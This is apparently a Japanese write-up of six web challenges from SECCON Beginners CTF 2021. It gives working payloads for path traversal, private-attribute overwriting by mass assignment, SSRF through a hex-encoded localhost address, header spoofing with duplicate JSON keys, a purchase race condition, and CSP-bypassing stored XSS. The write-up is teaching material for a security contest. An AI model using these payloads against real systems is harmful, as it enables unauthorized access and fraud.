SECCON Beginners CTF 2021 Web writeup
SECCON Beginners CTF 2021おつかれさまでした!
— よーでん (@y0d3n) 2021年5月23日
IPFactoryとして出場、22/943位!!
Web全部とMail_Address_Validator, only_read, be_angry, Imaginaryを解きました~
去年は先輩の力を借りてやっと一問だったので成長を実感できてうれしい#ctf4b #CTFから逃げるな pic.twitter.com/JeloqkzDCN
3331点で22/943位!
Web全部解けたのでwriteup書いていきます。
osoba (51pt 629solve)
美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります!
[url]
「あたたかいお蕎麦の食べ方」の詳細を見てみる
?page=public/wip.html
にアクセスし、エラーが返ってきた。
「フラグはサーバの /flag にあります!」と書いてあるので、page=/flag
にしてみる
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
おみそしる おいし(い) けれども つくるの たいへん
Werewolf (73pt 301solve)
I wish I could play as a werewolf...
[url]
名前と好きな色のフォーム。よしなに送ってみる。
名前と職業(好きな色になる)を言い渡される。人狼かな?
配布ファイルを見てみる。
: class Player: def __init__(self): self.name = None self.color = None self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN']) # :-) # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF']) @property def role(self): return self.__role # :-) # @role.setter # def role(self, role): # self.__role = role : def index(): if request.method == 'GET': return render_template('index.html') if request.method == 'POST': player = Player() for k, v in request.form.items(): player.__dict__[k] = v return render_template('result.html', name=player.name, color=player.color, role=player.role, flag=app.FLAG if player.role == 'WEREWOLF' else '' )
職業はランダムに決まるらしく、WEREWOLFだとflagがでるっぽい。
しかし、WEREWOLFはコメントアウトされていてこのままだとWEREWOLFにはなれない。
index関数に注目してみる。リクエストしたアイテムがplayerのdictに代入されている。
リクエストをのぞいてみる。
POST / HTTP/1.1 : name=yoden&color=red
name=yoden
があることでplayer.name='yoden'
になる。
ということはplayer.__role='WEREWOLF'
にするには__role=WEREWOLF
とすればいいのだろうか。
POST / HTTP/1.1 : name=yoden&color=red&__role=WEREWOLF
自信満々にリクエストを送ったものの、WEREWOLFにはなれなかった。
いろいろ調べてみると、__role
はプライベートでself.__role
みたいな感じじゃないとアクセスできないらしい。
python private 上書き
みたいな感じでググると、player._Player__role
でアクセスできるという記事を発見。
POST / HTTP/1.1 : name=yoden&color=red&_Player__role=WEREWOLF
ctf4b{there_are_so_many_hackers_among_us}
check_url (104pt 213solve)
Have you ever used curl ?
[url]
like this!
の部分をクリックすると、example.comが表示される。
ソースを見ると、指定したurlにcurlするっぽい。
<!-- HTML Template --> <?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){ echo "Hi, Admin or SSSSRFer<br>"; echo "********************FLAG********************"; }else{ echo "Here, take this<br>"; $url = $_GET["url"]; if ($url !== "https://www.example.com"){ $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing } if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){ die("do not hack me!"); } echo "URL: ".$url."<br>"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); echo "<iframe srcdoc='"; curl_exec($ch); echo "' width='750' height='500'></iframe>"; curl_close($ch); } ?> <!-- HTML Template -->
$_SERVER["REMOTE_ADDR"]
が"127.0.0.1"
だとflagがでるらしい
単純に提出すると、.
が👻に書き換えられてしまう。
どうにかしてlocalhostにアクセスさせたい。
昔読んだ記事をもとに試してみる。
017700000001
だとBad Requestになったが、0x7F000001
で行けた。
ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
ssssrf is server side super sanitized request forgery
json (117pt 191solve)
外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
[url]
「ローカルネットワークしかだめ」といわれる。X-Forwarded-For
を試す。
GET / HTTP/1.1 : X-Forwarded-For: 192.168.111.1
内部ページが表示される。
select item
とsubmit
ボタンがある。htmlを読みながらリクエストを作成
POST / HTTP/1.1 : X-Forwarded-For: 192.168.111.1 Content-Length: 8 {"id":0}
idに応じた返事が返ってくる。
機能は把握できたので、配布ファイルを読んでみる。
// bff main.go : // parse json var info Info if err := json.Unmarshal(body, &info); err != nil { c.JSON(400, gin.H{"error": "Invalid parameter."}) return } : if info.ID == 2 { c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."}) return }
bffはjson.Unmarshal
してinfo.ID == 2
だと400のエラーを返す。
// api main.go : id, err := jsonparser.GetInt(body, "id") if err != nil { c.String(400, "Failed to parse json") return } if id == 2 { // Flag!!! flag := os.Getenv("FLAG") c.String(200, flag) return }
apiはjsonparser.GetInt
してid == 2
だとflagを返す。
bffとapiでjsonのパース方法が違うのがポイント。 以下のように、同じ項目が複数あるjsonをパースしてみる
{ "id":2, "id":1 }
json.Unmarshal
ではinfo.ID == 1
、(!=2なのでエラーを返さない)
jsonparser.GetInt
ではid == 2
(==2なのでflagを返す)
というようになる。
ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}
json is very useful but sometimes it bites back
cant_use_db (113pt 197solve)
Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
[url]
Noodlesを2個、Soupを1個買うとflagが手に入るっぽい。
しかし、所持金がたりないので買えない。
Noodleを購入する際のコードを読んでみる。
@app.route("/buy_noodles", methods=["POST"]) def buy_noodles(): user_id = session.get("user") if not user_id: return redirect("/") balance, noodles, soup = get_userdata(user_id) if balance >= 10000: noodles += 1 open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles)) time.sleep(random.uniform(-0.2, 0.2) + 1.0) balance -= 10000 open(f"./users/{user_id}/balance.txt", "w").write(str(balance)) return "💸$10000" return "ERROR: INSUFFICIENT FUNDS"
noodlesを追加 => time.sleep(random.uniform(-0.2, 0.2) + 1.0)
=> balanceをマイナス
という感じ。time.sleepしてる間に購入のリクエストを送ることができればbalanceが惹かれる前に次の買い物ができそう。
burpでInterceptをオンにしてNoodlesを2回とSoupを1回クリックしておき、Interceptをオフにすることで3つのリクエストが一気に送信され、Noodlesを2個とSoupを1個購入できる。
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
ramen is an essential dish for hacking
magic (404pt 25solve)
トリックを見破れますか?
[url]
login画面、よしなにregisterしてログインする。(文字数制限が割と厳しい)
copy magiclink => ログインを省略できるリンクが手にはいる
this page? => adminにバグを報告できる
memo => メモを保存できる。(<s>sss</s>
でHTMLとして処理される)
たぶん、memoにstored XSSを仕込んだうえでmagiclinkをadminに提出することでよしなにするんだろうという予想が立つ。
まずはalertを目指す。
<script>alert(1)</script>
を入力してみる
magic.quals.beginners.seccon.jp/:59 Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' ". Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution.
cspのscript-src 'self'
にはじかれる。「csp self バイパス」等で調べるとjsonpとかのパターンがでてくる。
レスポンスを自由に操作できるページがないか探していると、magiclinkの挙動が丁度良かった。
[url]/magic?token=3e6db118-188b-49b0-b7b1-31c43999f350
=> ログインされる
[url]/magic?token=hoge
=> hoge is invalid token.
といわれる。
[url]/magic?token=alert(1);//
のようにすれば
alert(1);// is invalid token.
となり、alert(1);
になる。
memoに[url]/magic?token=alert(1);//
を読み込むよう書き込む。
レスポンスにトークンが埋め込まれる際、
escapeHTML
関数によってHTMLエスケープされるため、token内に%<>"'
を含まないペイロードを組み立てる必要がある
<script src="[url]/magic?token=alert(1);//"></script>
CSPがバイパスできた。
後はやるだけなので、クローラのソースを読んでflagがどこにあるか見てみる
// type FLAG in memo field await page.type('input[name="text"]', FLAG); await page.click("h1");
アクセスした際、memoの入力欄にflagが入力された状態になるっぽい。
saveボタンをクリックさせればflagが手に入りそうだと考える。
<script src=./magic?token=saveMemo.click();//></script>
(これをやるとブラウザで開いたときに無限ループになるのでburp等を準備してからやるのがおすすめ)
自分のmagiclinkを提出してみるも、特に何も書き込まれない。
すこし試すと、memoの入力欄に文字が入力されるのはhtmlの最後に読み込まれるstatic/index.js
の効果であり、XSSが発火する時点では入力欄が空だったことが分かった。
ページが読み込まれてから実行されるように書く必要がある。
<script src=./magic?token=window.onload=function(){saveMemo.click()};//></script>
magiclinkを提出すれば、flagがメモに書き込まれる。
ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick}
wow your skillful exploit code is like a magic trick